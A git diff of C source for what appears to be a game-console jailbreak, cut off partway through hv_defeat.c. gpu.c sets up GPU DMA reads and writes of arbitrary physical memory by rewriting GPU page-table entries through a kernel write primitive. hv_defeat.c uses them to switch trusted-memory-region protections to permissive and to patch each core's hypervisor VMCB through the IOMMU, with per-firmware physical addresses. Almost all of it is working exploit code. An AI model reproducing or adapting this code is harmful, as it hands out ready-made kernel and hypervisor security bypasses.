if (!s_gpu.initialized) - return -1; - - uint64_t aligned_pa = phys_addr & ~(s_gpu.dmem_size - 1); - uint64_t offset = phys_addr - aligned_pa; - - if (offset + size > s_gpu.dmem_size) { - printf("[gpu] transfer exceeds dmem_size\n"); - return -1; - } - - int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ; - int prot_rw = prot_ro | PROT_GPU_WRITE; - - mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro); - - uint64_t new_ptbe = s_gpu.cleared_ptbe | aligned_pa; - kernel_setlong(s_gpu.victim_ptbe_va, new_ptbe); - - mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw); - uint64_t src, dst; - - if (is_write) { - memcpy((void *)s_gpu.transfer_va, local_buf, size); - src = s_gpu.transfer_va; - dst = s_gpu.victim_va + offset; - } else { - src = s_gpu.victim_va + offset; - dst = s_gpu.transfer_va; - } - - int cmd_size = pm4_build_dma_data((void *)s_gpu.cmd_va, dst, src, size); - - uint8_t desc[16]; - gpu_build_cmd_descriptor(desc, s_gpu.cmd_va, cmd_size); - - uint64_t desc_va = s_gpu.cmd_va + 0x1000; - memcpy((void *)desc_va, desc, 16); - - int ret = gpu_submit_commands(s_gpu.fd, 0, 1, desc_va); - if (ret != 0) { - printf("[gpu] ioctl submit failed: %d\n", ret); - return -1; - } - - // Wait for GPU DMA completion - // TODO: proper fence/signal wait - usleep(100000); - - if (!is_write) { - memcpy(local_buf, (void *)s_gpu.transfer_va, size); - } - - // Restore victim PTE to original physical address - uint64_t orig_ptbe = s_gpu.cleared_ptbe | s_gpu.victim_real_pa; - kernel_setlong(s_gpu.victim_ptbe_va, orig_ptbe); - - return 0; -} - -int gpu_init(void) { - // init GPU DMA - struct gpu_kernel_offsets go = {}; - go.proc_vmspace = KERNEL_OFFSET_PROC_P_VMSPACE; - go.vmspace_vm_vmid = env_offset.VMSPACE_VM_VMID; - go.sizeof_gvmspace = 0x100; - go.gvmspace_page_dir_va = 0x38; - go.gvmspace_size = 0x10; - go.gvmspace_start_va = 0x08; - go.data_base_gvmspace = env_offset.DATA_BASE_GVMSPACE; - - gpu_set_offsets(&go); - - if (gpu_init_internal()) - return -1; - - return 0; -} - -int gpu_init_internal(void) { - if (s_gpu.initialized) { - DEBUG_PRINT("[gpu] Already initialized\n"); - return 0; - } - - if (!s_offsets_set) { - DEBUG_PRINT("[gpu] ERROR: call gpu_set_offsets() first\n"); - return -1; - } - - DEBUG_PRINT("[gpu] init\n"); - - s_gpu.dmem_size = 2 * 0x100000; // 2MB - - // Step 1: Open GPU device - DEBUG_PRINT("[gpu] Opening /dev/gc\n"); - s_gpu.fd = open("/dev/gc", O_RDWR); - if (s_gpu.fd < 0) { - DEBUG_PRINT("[gpu] ERROR: failed to open /dev/gc (fd=%d)\n", s_gpu.fd); - return -1; - } - DEBUG_PRINT("[gpu] /dev/gc fd=%d\n", s_gpu.fd); - - // Step 2: Allocate 3 GPU-mapped buffers - DEBUG_PRINT("[gpu] Allocating GPU direct memory (3 x 2MB)\n"); - - s_gpu.victim_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); - if (!s_gpu.victim_va) { - DEBUG_PRINT("[gpu] victim alloc failed\n"); - return -2; - } - - s_gpu.transfer_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); - if (!s_gpu.transfer_va) { - DEBUG_PRINT("[gpu] transfer alloc failed\n"); - return -2; - } - - s_gpu.cmd_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); - if (!s_gpu.cmd_va) { - DEBUG_PRINT("[gpu] cmd alloc failed\n"); - return -2; - } - - DEBUG_PRINT("[gpu] victim_va = 0x%lx\n", s_gpu.victim_va); - DEBUG_PRINT("[gpu] transfer_va = 0x%lx\n", s_gpu.transfer_va); - DEBUG_PRINT("[gpu] cmd_va = 0x%lx\n", s_gpu.cmd_va); - - // Step 3: Get the physical address of the victim buffer - s_gpu.victim_real_pa = va_to_pa_user(s_gpu.victim_va); - DEBUG_PRINT("[gpu] victim_real_pa = 0x%lx\n", s_gpu.victim_real_pa); - - // Step 4: Walk GPU page tables to find the PTE for the victim buffer - int vmid = gpu_get_vmid(); - DEBUG_PRINT("[gpu] GPU VMID = %d\n", vmid); - - if (s_gpu_offsets.data_base_gvmspace == 0) { - DEBUG_PRINT("[gpu] ERROR: data_base_gvmspace not set\n"); - return -3; - } - - uint64_t rel_va = gpu_get_relative_va(vmid, s_gpu.victim_va); - if (rel_va == (uint64_t)-1) { - DEBUG_PRINT("[gpu] ERROR: could not get relative VA for victim\n"); - return -3; - } - DEBUG_PRINT("[gpu] victim relative GPU VA = 0x%lx\n", rel_va); - - s_gpu.victim_ptbe_va = gpu_walk_pt(vmid, rel_va, &s_gpu.page_size); - if (s_gpu.victim_ptbe_va == 0) { - DEBUG_PRINT("[gpu] ERROR: GPU page table walk failed\n"); - return -4; - } - DEBUG_PRINT("[gpu] victim GPU PTE VA = 0x%lx\n", s_gpu.victim_ptbe_va); - DEBUG_PRINT("[gpu] victim GPU page sz = 0x%lx\n", s_gpu.page_size); - - if (s_gpu.page_size != s_gpu.dmem_size) { - DEBUG_PRINT("[gpu] WARNING: page size 0x%lx != dmem_size 0x%lx\n", - s_gpu.page_size, s_gpu.dmem_size); - } - - // Step 5: Prepare the cleared PTE template - int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ; - mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro); - - uint64_t current_ptbe; - kernel_copyout(s_gpu.victim_ptbe_va, ¤t_ptbe, sizeof(current_ptbe)); - s_gpu.cleared_ptbe = current_ptbe & ~s_gpu.victim_real_pa; - - DEBUG_PRINT("[gpu] current PTE = 0x%lx\n", current_ptbe); - DEBUG_PRINT("[gpu] cleared PTE = 0x%lx\n", s_gpu.cleared_ptbe); - - int prot_rw = prot_ro | PROT_GPU_WRITE; - mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw); - - s_gpu.initialized = 1; - DEBUG_PRINT("[gpu] ready\n"); - return 0; -} - -int gpu_test(void) { - if (!s_gpu.initialized) { - printf("[gpu] ERROR: not initialized\n"); - return -1; - } - - DEBUG_PRINT("[gpu] test\n"); - - // Test 1: Read a known kernel .data value via GPU DMA and compare - uint64_t test_va = (uint64_t)KERNEL_ADDRESS_DATA_BASE; - uint64_t test_pa = va_to_pa_kernel(test_va); - DEBUG_PRINT("[gpu] Test target: VA=0x%lx PA=0x%lx\n", test_va, test_pa); - - uint64_t kernel_val = kernel_getlong(test_va); - DEBUG_PRINT("[gpu] kernel_read8 = 0x%lx\n", kernel_val); - - uint64_t gpu_val = gpu_read_phys8(test_pa); - DEBUG_PRINT("[gpu] gpu_read8 = 0x%lx\n", gpu_val); - - if (kernel_val == gpu_val) { - printf("[gpu] *** TEST PASSED: values match ***\n"); - } else { - printf("[gpu] *** TEST FAILED: values differ ***\n"); - return -1; - } - - // Test 2: Write and read-back test - uint64_t test_write_pa = va_to_pa_user(s_gpu.transfer_va + 0x100000); - uint64_t magic = 0xDEADBEEFCAFEBABEULL; - - DEBUG_PRINT("[gpu] Write test: PA=0x%lx val=0x%lx\n", test_write_pa, magic); - gpu_write_phys8(test_write_pa, magic); - - uint64_t readback = gpu_read_phys8(test_write_pa); - DEBUG_PRINT("[gpu] Readback = 0x%lx\n", readback); - - if (readback == magic) { - printf("[gpu] *** WRITE TEST PASSED ***\n"); - } else { - printf("[gpu] *** WRITE TEST FAILED ***\n"); - return -1; - } - - printf("[gpu] tests ok\n"); - return 0; -} - -int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size) { - return gpu_transfer_physical(phys_addr, out_buf, size, 0); -} - -uint8_t gpu_read_phys1(uint64_t phys_addr) { - uint8_t val = 0; - gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); - return val; -} - -uint32_t gpu_read_phys4(uint64_t phys_addr) { - uint32_t val = 0; - gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); - return val; -} - -uint64_t gpu_read_phys8(uint64_t phys_addr) { - uint64_t val = 0; - gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); - return val; -} - -int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size) { - return gpu_transfer_physical(phys_addr, (void *)in_buf, size, 1); -} - -void gpu_write_phys4(uint64_t phys_addr, uint32_t value) { - gpu_transfer_physical(phys_addr, &value, sizeof(value), 1); -} - -void gpu_write_phys8(uint64_t phys_addr, uint64_t value) { - gpu_transfer_physical(phys_addr, &value, sizeof(value), 1); -} - -void gpu_cleanup(void) { - if (s_gpu.fd >= 0) { - close(s_gpu.fd); - s_gpu.fd = -1; - } - - s_gpu.initialized = 0; - printf("[gpu] Cleaned up\n"); -} +#include "gpu.h" +#include "utils.h" +#include +#include +#include +#include +#include +#include +#include +#include + +int sceKernelAllocateMainDirectMemory(size_t size, size_t alignment, + int mem_type, uint64_t *phys_out); +int sceKernelMapNamedDirectMemory(void **va_out, size_t size, int prot, + int flags, uint64_t phys, size_t alignment, + const char *name); +int sceKernelSleep(int secs); + +static struct gpu_ctx s_gpu = {0}; +static struct gpu_kernel_offsets s_gpu_offsets = {0}; +static int s_offsets_set = 0; + +struct gpu_ctx *gpu_get_ctx(void) { return &s_gpu; } + +void gpu_set_offsets(struct gpu_kernel_offsets *offsets) { + memcpy(&s_gpu_offsets, offsets, sizeof(s_gpu_offsets)); + s_offsets_set = 1; +} + +static uint64_t gpu_pde_field(uint64_t pde, int shift, uint64_t mask) { + return (pde >> shift) & mask; +} + +static int gpu_get_vmid(void) { + uint64_t curproc = kernel_get_proc(getpid()); + uint64_t vmspace; + uint32_t vmid; + + kernel_copyout(curproc + s_gpu_offsets.proc_vmspace, &vmspace, + sizeof(vmspace)); + kernel_copyout(vmspace + s_gpu_offsets.vmspace_vm_vmid, &vmid, sizeof(vmid)); + + return (int)vmid; +} + +static uint64_t gpu_get_pdb2_addr(int vmid) { + uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE + + s_gpu_offsets.data_base_gvmspace + + (uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace; + + uint64_t pdb2_va; + kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_page_dir_va, &pdb2_va, + sizeof(pdb2_va)); + return pdb2_va; +} + +static uint64_t gpu_get_relative_va(int vmid, uint64_t va) { + uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE + + s_gpu_offsets.data_base_gvmspace + + (uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace; + + uint64_t start_va, size; + kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_start_va, &start_va, + sizeof(start_va)); + kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_size, &size, sizeof(size)); + + if (va >= start_va && va < start_va + size) + return va - start_va; + + return (uint64_t)-1; +} + +static uint64_t gpu_walk_pt(int vmid, uint64_t gpu_va, + uint64_t *out_page_size) { + uint64_t pdb2_addr = gpu_get_pdb2_addr(vmid); + + uint64_t pml4e_idx = (gpu_va >> 39) & 0x1FF; + uint64_t pdpe_idx = (gpu_va >> 30) & 0x1FF; + uint64_t pde_idx = (gpu_va >> 21) & 0x1FF; + + // PDB2 (PML4 equivalent) + uint64_t pml4e; + kernel_copyout(pdb2_addr + pml4e_idx * 8, &pml4e, sizeof(pml4e)); + + if (gpu_pde_field(pml4e, GPU_PDE_VALID_BIT, 1) != 1) + return 0; + + // PDB1 (PDPT equivalent) + uint64_t pdp_pa = pml4e & GPU_PDE_ADDR_MASK; + uint64_t pdpe_va = dmap + pdp_pa + pdpe_idx * 8; + uint64_t pdpe; + kernel_copyout(pdpe_va, &pdpe, sizeof(pdpe)); + + if (gpu_pde_field(pdpe, GPU_PDE_VALID_BIT, 1) != 1) + return 0; + + // PDB0 (PD equivalent) + uint64_t pd_pa = pdpe & GPU_PDE_ADDR_MASK; + uint64_t pde_va = dmap + pd_pa + pde_idx * 8; + uint64_t pde; + kernel_copyout(pde_va, &pde, sizeof(pde)); + + if (gpu_pde_field(pde, GPU_PDE_VALID_BIT, 1) != 1) + return 0; + + // If IS_PTE bit set, this is a 2MB leaf + if (gpu_pde_field(pde, GPU_PDE_IS_PTE_BIT, 1) == 1) { + *out_page_size = 0x200000; + return pde_va; + } + + // PTB (page table block) + uint64_t frag_size = gpu_pde_field(pde, GPU_PDE_BLOCK_FRAG_BIT, 0x1F); + uint64_t offset = gpu_va & 0x1FFFFF; + uint64_t pt_pa = pde & GPU_PDE_ADDR_MASK; + + uint64_t pte_idx, pte_va; + + if (frag_size == 4) { + pte_idx = offset >> 16; + pte_va = dmap + pt_pa + pte_idx * 8; + + uint64_t pte; + kernel_copyout(pte_va, &pte, sizeof(pte)); + + if (gpu_pde_field(pte, GPU_PDE_VALID_BIT, 1) == 1 && + gpu_pde_field(pte, GPU_PDE_TF_BIT, 1) == 1) { + pte_idx = (gpu_va & 0xFFFF) >> 13; + pte_va = dmap + pt_pa + pte_idx * 8; + *out_page_size = 0x2000; // 8KB + } else { + *out_page_size = 0x10000; // 64KB + } + } else if (frag_size == 1) { + pte_idx = offset >> 13; + pte_va = dmap + pt_pa + pte_idx * 8; + *out_page_size = 0x2000; // 8KB + } else { + // Unknown fragment size - use 64KB as default + pte_idx = offset >> 16; + pte_va = dmap + pt_pa + pte_idx * 8; + *out_page_size = 0x10000; + } + + return pte_va; +} + +static uint64_t gpu_alloc_dmem(uint64_t size, int gpu_write) { + uint64_t phys_out = 0; + void *va_out = NULL; + + int prot = PROT_READ | PROT_WRITE | PROT_GPU_READ; + if (gpu_write) + prot |= PROT_GPU_WRITE; + + int ret = sceKernelAllocateMainDirectMemory(size, size, 1, &phys_out); + if (ret != 0) { + printf("[gpu] sceKernelAllocateMainDirectMemory failed: 0x%d\n", ret); + return 0; + } + + ret = sceKernelMapNamedDirectMemory(&va_out, size, prot, MAP_NO_COALESCE, + phys_out, size, "gpudma"); + if (ret != 0) { + printf("[gpu] sceKernelMapNamedDirectMemory failed: 0x%d\n", ret); + return 0; + } + + return (uint64_t)va_out; +} + +static uint32_t pm4_type3_header(uint32_t opcode, uint32_t count) { + return ((PM4_TYPE3 & 0x3) << 30) | (((count - 1) & 0x3FFF) << 16) | + ((opcode & 0xFF) << 8) | ((PM4_SHADER_COMPUTE & 0x1) << 1); +} + +static int pm4_build_dma_data(void *buf, uint64_t dst_va, uint64_t src_va, + uint32_t length) { + uint32_t *pkt = (uint32_t *)buf; + uint32_t count = 6; + + uint32_t dma_hdr = (1u << 31) // cp_sync + | (2u << 25) // dst_cache_policy + | (1u << 27) // dst_volatile + | (2u << 13) // src_cache_policy + | (1u << 15); // src_volatile + + pkt[0] = pm4_type3_header(PM4_OPCODE_DMA_DATA, count); + pkt[1] = dma_hdr; + pkt[2] = (uint32_t)(src_va & 0xFFFFFFFF); + pkt[3] = (uint32_t)(src_va >> 32); + pkt[4] = (uint32_t)(dst_va & 0xFFFFFFFF); + pkt[5] = (uint32_t)(dst_va >> 32); + pkt[6] = length & 0x1FFFFF; + + return 7 * sizeof(uint32_t); +} + +static void gpu_build_cmd_descriptor(void *desc, uint64_t gpu_addr, + uint32_t size_bytes) { + uint64_t *d = (uint64_t *)desc; + uint32_t size_dwords = size_bytes >> 2; + + d[0] = ((gpu_addr & 0xFFFFFFFFULL) << 32) | 0xC0023F00ULL; + d[1] = + (((uint64_t)size_dwords & 0xFFFFF) << 32) | ((gpu_addr >> 32) & 0xFFFF); +} + +static int gpu_submit_commands(int fd, uint32_t pipe_id, uint32_t cmd_count, + uint64_t descriptors_ptr) { + struct { + uint32_t pipe_id; + uint32_t count; + uint64_t cmd_buf_ptr; + } submit; + + submit.pipe_id = pipe_id; + submit.count = cmd_count; + submit.cmd_buf_ptr = descriptors_ptr; + + return ioctl(fd, GPU_SUBMIT_IOCTL, &submit); +} + +static int gpu_transfer_physical(uint64_t phys_addr, void *local_buf, + uint32_t size, int is_write) { + if (!s_gpu.initialized) + return -1; + + uint64_t aligned_pa = phys_addr & ~(s_gpu.dmem_size - 1); + uint64_t offset = phys_addr - aligned_pa; + + if (offset + size > s_gpu.dmem_size) { + printf("[gpu] transfer exceeds dmem_size\n"); + return -1; + } + + int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ; + int prot_rw = prot_ro | PROT_GPU_WRITE; + + mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro); + + uint64_t new_ptbe = s_gpu.cleared_ptbe | aligned_pa; + kernel_setlong(s_gpu.victim_ptbe_va, new_ptbe); + + mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw); + uint64_t src, dst; + + if (is_write) { + memcpy((void *)s_gpu.transfer_va, local_buf, size); + src = s_gpu.transfer_va; + dst = s_gpu.victim_va + offset; + } else { + src = s_gpu.victim_va + offset; + dst = s_gpu.transfer_va; + } + + int cmd_size = pm4_build_dma_data((void *)s_gpu.cmd_va, dst, src, size); + + uint8_t desc[16]; + gpu_build_cmd_descriptor(desc, s_gpu.cmd_va, cmd_size); + + uint64_t desc_va = s_gpu.cmd_va + 0x1000; + memcpy((void *)desc_va, desc, 16); + + int ret = gpu_submit_commands(s_gpu.fd, 0, 1, desc_va); + if (ret != 0) { + printf("[gpu] ioctl submit failed: %d\n", ret); + return -1; + } + + // Wait for GPU DMA completion + // TODO: proper fence/signal wait + usleep(100000); + + if (!is_write) { + memcpy(local_buf, (void *)s_gpu.transfer_va, size); + } + + // Restore victim PTE to original physical address + uint64_t orig_ptbe = s_gpu.cleared_ptbe | s_gpu.victim_real_pa; + kernel_setlong(s_gpu.victim_ptbe_va, orig_ptbe); + + return 0; +} + +int gpu_init(void) { + // init GPU DMA + struct gpu_kernel_offsets go = {}; + go.proc_vmspace = KERNEL_OFFSET_PROC_P_VMSPACE; + go.vmspace_vm_vmid = env_offset.VMSPACE_VM_VMID; + go.sizeof_gvmspace = 0x100; + go.gvmspace_page_dir_va = 0x38; + go.gvmspace_size = 0x10; + go.gvmspace_start_va = 0x08; + go.data_base_gvmspace = env_offset.DATA_BASE_GVMSPACE; + + gpu_set_offsets(&go); + + if (gpu_init_internal()) + return -1; + + return 0; +} + +int gpu_init_internal(void) { + if (s_gpu.initialized) { + DEBUG_PRINT("[gpu] Already initialized\n"); + return 0; + } + + if (!s_offsets_set) { + DEBUG_PRINT("[gpu] ERROR: call gpu_set_offsets() first\n"); + return -1; + } + + DEBUG_PRINT("[gpu] init\n"); + + s_gpu.dmem_size = 2 * 0x100000; // 2MB + + // Step 1: Open GPU device + DEBUG_PRINT("[gpu] Opening /dev/gc\n"); + s_gpu.fd = open("/dev/gc", O_RDWR); + if (s_gpu.fd < 0) { + DEBUG_PRINT("[gpu] ERROR: failed to open /dev/gc (fd=%d)\n", s_gpu.fd); + return -1; + } + DEBUG_PRINT("[gpu] /dev/gc fd=%d\n", s_gpu.fd); + + // Step 2: Allocate 3 GPU-mapped buffers + DEBUG_PRINT("[gpu] Allocating GPU direct memory (3 x 2MB)\n"); + + s_gpu.victim_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); + if (!s_gpu.victim_va) { + DEBUG_PRINT("[gpu] victim alloc failed\n"); + return -2; + } + + s_gpu.transfer_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); + if (!s_gpu.transfer_va) { + DEBUG_PRINT("[gpu] transfer alloc failed\n"); + return -2; + } + + s_gpu.cmd_va = gpu_alloc_dmem(s_gpu.dmem_size, 1); + if (!s_gpu.cmd_va) { + DEBUG_PRINT("[gpu] cmd alloc failed\n"); + return -2; + } + + DEBUG_PRINT("[gpu] victim_va = 0x%lx\n", s_gpu.victim_va); + DEBUG_PRINT("[gpu] transfer_va = 0x%lx\n", s_gpu.transfer_va); + DEBUG_PRINT("[gpu] cmd_va = 0x%lx\n", s_gpu.cmd_va); + + // Step 3: Get the physical address of the victim buffer + s_gpu.victim_real_pa = va_to_pa_user(s_gpu.victim_va); + DEBUG_PRINT("[gpu] victim_real_pa = 0x%lx\n", s_gpu.victim_real_pa); + + // Step 4: Walk GPU page tables to find the PTE for the victim buffer + int vmid = gpu_get_vmid(); + DEBUG_PRINT("[gpu] GPU VMID = %d\n", vmid); + + if (s_gpu_offsets.data_base_gvmspace == 0) { + DEBUG_PRINT("[gpu] ERROR: data_base_gvmspace not set\n"); + return -3; + } + + uint64_t rel_va = gpu_get_relative_va(vmid, s_gpu.victim_va); + if (rel_va == (uint64_t)-1) { + DEBUG_PRINT("[gpu] ERROR: could not get relative VA for victim\n"); + return -3; + } + DEBUG_PRINT("[gpu] victim relative GPU VA = 0x%lx\n", rel_va); + + s_gpu.victim_ptbe_va = gpu_walk_pt(vmid, rel_va, &s_gpu.page_size); + if (s_gpu.victim_ptbe_va == 0) { + DEBUG_PRINT("[gpu] ERROR: GPU page table walk failed\n"); + return -4; + } + DEBUG_PRINT("[gpu] victim GPU PTE VA = 0x%lx\n", s_gpu.victim_ptbe_va); + DEBUG_PRINT("[gpu] victim GPU page sz = 0x%lx\n", s_gpu.page_size); + + if (s_gpu.page_size != s_gpu.dmem_size) { + DEBUG_PRINT("[gpu] WARNING: page size 0x%lx != dmem_size 0x%lx\n", + s_gpu.page_size, s_gpu.dmem_size); + } + + // Step 5: Prepare the cleared PTE template + int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ; + mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro); + + uint64_t current_ptbe; + kernel_copyout(s_gpu.victim_ptbe_va, ¤t_ptbe, sizeof(current_ptbe)); + s_gpu.cleared_ptbe = current_ptbe & ~s_gpu.victim_real_pa; + + DEBUG_PRINT("[gpu] current PTE = 0x%lx\n", current_ptbe); + DEBUG_PRINT("[gpu] cleared PTE = 0x%lx\n", s_gpu.cleared_ptbe); + + int prot_rw = prot_ro | PROT_GPU_WRITE; + mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw); + + s_gpu.initialized = 1; + DEBUG_PRINT("[gpu] ready\n"); + return 0; +} + +int gpu_test(void) { + if (!s_gpu.initialized) { + printf("[gpu] ERROR: not initialized\n"); + return -1; + } + + DEBUG_PRINT("[gpu] test\n"); + + // Test 1: Read a known kernel .data value via GPU DMA and compare + uint64_t test_va = (uint64_t)KERNEL_ADDRESS_DATA_BASE; + uint64_t test_pa = va_to_pa_kernel(test_va); + DEBUG_PRINT("[gpu] Test target: VA=0x%lx PA=0x%lx\n", test_va, test_pa); + + uint64_t kernel_val = kernel_getlong(test_va); + DEBUG_PRINT("[gpu] kernel_read8 = 0x%lx\n", kernel_val); + + uint64_t gpu_val = gpu_read_phys8(test_pa); + DEBUG_PRINT("[gpu] gpu_read8 = 0x%lx\n", gpu_val); + + if (kernel_val == gpu_val) { + printf("[gpu] *** TEST PASSED: values match ***\n"); + } else { + printf("[gpu] *** TEST FAILED: values differ ***\n"); + return -1; + } + + // Test 2: Write and read-back test + uint64_t test_write_pa = va_to_pa_user(s_gpu.transfer_va + 0x100000); + uint64_t magic = 0xDEADBEEFCAFEBABEULL; + + DEBUG_PRINT("[gpu] Write test: PA=0x%lx val=0x%lx\n", test_write_pa, magic); + gpu_write_phys8(test_write_pa, magic); + + uint64_t readback = gpu_read_phys8(test_write_pa); + DEBUG_PRINT("[gpu] Readback = 0x%lx\n", readback); + + if (readback == magic) { + printf("[gpu] *** WRITE TEST PASSED ***\n"); + } else { + printf("[gpu] *** WRITE TEST FAILED ***\n"); + return -1; + } + + printf("[gpu] tests ok\n"); + return 0; +} + +int gpu_read_phys(uint64_t phys_addr, void *out_buf, uint32_t size) { + return gpu_transfer_physical(phys_addr, out_buf, size, 0); +} + +uint8_t gpu_read_phys1(uint64_t phys_addr) { + uint8_t val = 0; + gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); + return val; +} + +uint32_t gpu_read_phys4(uint64_t phys_addr) { + uint32_t val = 0; + gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); + return val; +} + +uint64_t gpu_read_phys8(uint64_t phys_addr) { + uint64_t val = 0; + gpu_transfer_physical(phys_addr, &val, sizeof(val), 0); + return val; +} + +int gpu_write_phys(uint64_t phys_addr, const void *in_buf, uint32_t size) { + return gpu_transfer_physical(phys_addr, (void *)in_buf, size, 1); +} + +void gpu_write_phys4(uint64_t phys_addr, uint32_t value) { + gpu_transfer_physical(phys_addr, &value, sizeof(value), 1); +} + +void gpu_write_phys8(uint64_t phys_addr, uint64_t value) { + gpu_transfer_physical(phys_addr, &value, sizeof(value), 1); +} + +void gpu_cleanup(void) { + if (s_gpu.fd >= 0) { + close(s_gpu.fd); + s_gpu.fd = -1; + } + + s_gpu.initialized = 0; + printf("[gpu] Cleaned up\n"); +} diff --git a/source/hv_defeat.c b/source/hv_defeat.c index f18030d..56b495a 100644 --- a/source/hv_defeat.c +++ b/source/hv_defeat.c @@ -1,294 +1,294 @@ -#include "hv_defeat.h" -#include "config.h" -#include "gpu.h" -#include "iommu.h" -#include "tmr.h" -#include "utils.h" -#include -#include -#include -#include -#include -#include - -uint64_t vmcb_pa[16]; - -int hv_defeat(void) { - if (gpu_init()) - return -1; - if (stage1_tmr_relax()) - return -1; - if (stage2_find_vmcbs()) - return -1; - iommu_selftest(); - if (stage3_patch_vmcbs()) - return -1; - if (stage4_force_vmcb_reload()) - return -1; - if (stage5_remove_xotext()) - return -1; - if (stage6_kernel_pmap_invalidate_all()) - return -1; - return 0; -} - -int stage1_tmr_relax(void) { - DEBUG_PRINT("\nHV-defeat [stage1] tmr relax: "); - - DEBUG_PRINT("Firmware version: %04x\n", fw); - - for (int t = 0; t < 22; t++) { - uint32_t b = tmr_read(TMR_BASE(t)); - uint32_t l = tmr_read(TMR_LIMIT(t)); - uint32_t c = tmr_read(TMR_CONFIG(t)); - if (c == 0 && b == 0 && l == 0) - continue; - DEBUG_PRINT(" tmr[%02d] 0x%012lx-0x%012lx cfg=0x%08x\n", t, - (uint64_t)b << 16, ((uint64_t)l << 16) | 0xFFFF, c); - } - - if (fw < 0x0300) { - tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE); - - if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE) - goto no_ok; - - } else { - tmr_write(TMR_CONFIG(5), TMR_CFG_PERMISSIVE); - tmr_write(TMR_CONFIG(16), TMR_CFG_PERMISSIVE); - tmr_write(TMR_CONFIG(17), TMR_CFG_PERMISSIVE); - tmr_write(TMR_CONFIG(18), TMR_CFG_PERMISSIVE); - - if (tmr_read(TMR_CONFIG(5)) != TMR_CFG_PERMISSIVE) - goto no_ok; - if (tmr_read(TMR_CONFIG(16)) != TMR_CFG_PERMISSIVE) - goto no_ok; - if (tmr_read(TMR_CONFIG(17)) != TMR_CFG_PERMISSIVE) - goto no_ok; - if (tmr_read(TMR_CONFIG(18)) != TMR_CFG_PERMISSIVE) - goto no_ok; - } - - DEBUG_PRINT("OK\n"); - return 0; - -no_ok: - DEBUG_PRINT("No OK\n"); - return -1; -} - -int stage2_find_vmcbs(void) { - DEBUG_PRINT("\nHV-defeat [stage2] vmcb discovery\n"); - - uint64_t vcpu_off = env_offset.HV_VCPU; - uint64_t stride = env_offset.HV_VCPU_CPUID; - // Testing direct VMCB on 04.03 - if ((!vcpu_off || !stride) && fw < 0x0300) { - DEBUG_PRINT(" missing HV_VCPU offsets for fw 0x%04x\n", fw); - return -1; - } - - for (int c = 0; c < 16; c++) { - vmcb_pa[c] = get_vmcb(c); - DEBUG_PRINT(" core %02d: pa=0x%016lx\n", c, vmcb_pa[c]); - } - - return 0; -} - -// Only valid for 3.xx and 4.xx -// 1.xx and 2.xx have dynamic page alloc for VMCB -// TODO: add 1.xx and 2.xx logic -uint64_t get_vmcb(int core) { - switch (fw) { - case 0x0300: - case 0x0310: - case 0x0320: - case 0x0321: - return (uint64_t)0x6290B000 + (uint64_t)core * 0x3000; - break; - case 0x0400: - case 0x0402: - case 0x0403: - case 0x0450: - case 0x0451: - return (uint64_t)0x62A05000 + (uint64_t)core * 0x3000; - break; - default: - return -1; - } -} - -int iommu_selftest(void) { - DEBUG_PRINT("\n[iommu] self-test\n"); - - uint64_t scratch = 0xAAAAAAAABBBBBBBBULL; - uint64_t scratch_pa = va_to_pa_user((uint64_t)&scratch); - - if (!scratch_pa || scratch_pa >= 0x100000000ULL) { - DEBUG_PRINT(" bad scratch PA 0x%016lx\n", scratch_pa); - return -1; - } - - uint64_t pattern = 0xDEADCAFE12345678ULL; - DEBUG_PRINT(" scratch pa=0x%016lx before=0x%016lx\n", scratch_pa, scratch); - - iommu_write8_pa(scratch_pa, pattern); - uint64_t readback = kread64(dmap + scratch_pa); - - DEBUG_PRINT(" wrote=0x%016lx read=0x%016lx %s\n", pattern, readback, - (readback == pattern) ? "OK" : "FAIL"); - - return (readback == pattern) ? 0 : -1; -} - -int stage3_patch_vmcbs(void) { - DEBUG_PRINT("\nHV-defeat [stage3-iommu] vmcb patch via IOMMU\n"); - - int cur = sceKernelGetCurrentCpu(); - pin_to_core(cur); - - for (int i = 0; i < 16; i++) { - uint64_t pa = vmcb_pa[i]; - - iommu_write8_pa(pa + 0x00, 0x0000000000000000ULL); - iommu_write8_pa(pa + 0x08, 0x0004000000000000ULL); - iommu_write8_pa(pa + 0x10, 0x000000000000000FULL); - iommu_write8_pa(pa + 0x58, 0x0000000000000001ULL); - iommu_write8_pa(pa + 0x90, 0x0000000000000000ULL); - - DEBUG_PRINT(" vmcb[%2d] patched (pa=0x%016lx)\n", i, pa); - - // uint64_t vmcb_00 = gpu_read_phys8(pa + 0x00); - // uint64_t vmcb_08 = gpu_read_phys8(pa + 0x08); - // uint64_t vmcb_10 = gpu_read_phys8(pa + 0x10); - // uint64_t vmcb_58 = gpu_read_phys8(pa + 0x58); - // uint64_t vmcb_90 = 